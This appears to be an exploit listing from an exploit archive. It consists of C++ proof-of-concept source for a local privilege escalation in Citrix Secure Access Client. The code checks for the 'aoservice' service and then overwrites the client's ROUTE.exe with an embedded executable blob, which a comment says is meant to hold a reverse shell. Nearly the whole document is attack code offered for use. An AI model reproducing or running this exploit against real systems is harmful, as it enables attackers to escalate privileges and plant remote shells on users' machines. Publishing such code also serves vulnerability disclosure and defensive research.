Share
## https://sploitus.com/exploit?id=PACKETSTORM:171716
//Discovered by:: TOUHAMI KASBAOUI - VXREMALWARE  
//Discover date : 25/03/2023  
//Reported to Citrix: 25/03/2023  
//Tested Version: 22.2.1.103, 23.1.1.11/Last version  
//Exploit: https://github.com/sqrtZeroKnowledge/Citrix_Secure_Access_LPE_0DAY  
  
  
#define UNICODE  
#define _UNICODE  
#include <Windows.h>  
#include <string>  
#include <iostream>  
#include <Windows.h>  
#include <iostream>  
  
using namespace std;  
enum Result  
{  
unknown,  
serviceManager_AccessDenied,  
serviceManager_DatabaseDoesNotExist,  
service_AccessDenied,  
service_InvalidServiceManagerHandle,  
service_InvalidServiceName,  
service_DoesNotExist,  
service_Exist  
};  
  
Result ServiceExists(const std::wstring& serviceName)  
{  
Result r = unknown;  
  
SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ);  
  
if (manager == NULL)  
{  
DWORD lastError = GetLastError();  
  
if (lastError == ERROR_ACCESS_DENIED)  
return serviceManager_AccessDenied;  
else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST)  
return serviceManager_DatabaseDoesNotExist;  
else  
return unknown;  
}  
  
SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ);  
  
if (service == NULL)  
{  
DWORD error = GetLastError();  
  
if (error == ERROR_ACCESS_DENIED)  
r = service_AccessDenied;  
else if (error == ERROR_INVALID_HANDLE)  
r = service_InvalidServiceManagerHandle;  
else if (error == ERROR_INVALID_NAME)  
r = service_InvalidServiceName;  
else if (error == ERROR_SERVICE_DOES_NOT_EXIST)  
r = service_DoesNotExist;  
else  
r = unknown;  
}  
else  
r = service_Exist;  
  
if (service != NULL)  
CloseServiceHandle(service);  
  
if (manager != NULL)  
CloseServiceHandle(manager);  
  
return r;  
}  
  
int main() {  
  
const uint8_t shellcode[7168] = {  
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,  
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
}; //You can set array bin of your reverse shell PE file here  
  
std::wstring serviceName = L"aoservice";  
Result result = ServiceExists(serviceName);  
if (result == service_Exist)  
std::wcout << L"The service '" << serviceName << "' exists." << std::endl;  
else if (result == service_DoesNotExist)  
std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl;  
else  
std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl;  
  
HANDLE fileHandle = CreateFile(L"C:\\Program Files\\Citrix\\Secure Access Client\\ROUTE.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
cerr << "[*] Loading Malicious file into Citric Secure Access Installer \n";  
if (fileHandle == INVALID_HANDLE_VALUE) {  
cerr << "Failed to create shellcode\n";  
return 1;  
}  
  
DWORD bytesWritten;  
if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) {  
cerr << "Failed to write to file\n";  
CloseHandle(fileHandle);  
return 1;  
}  
CloseHandle(fileHandle);  
  
cout << "Shellcode exported to Citrix Secure Access path \n";  
return 0;  
}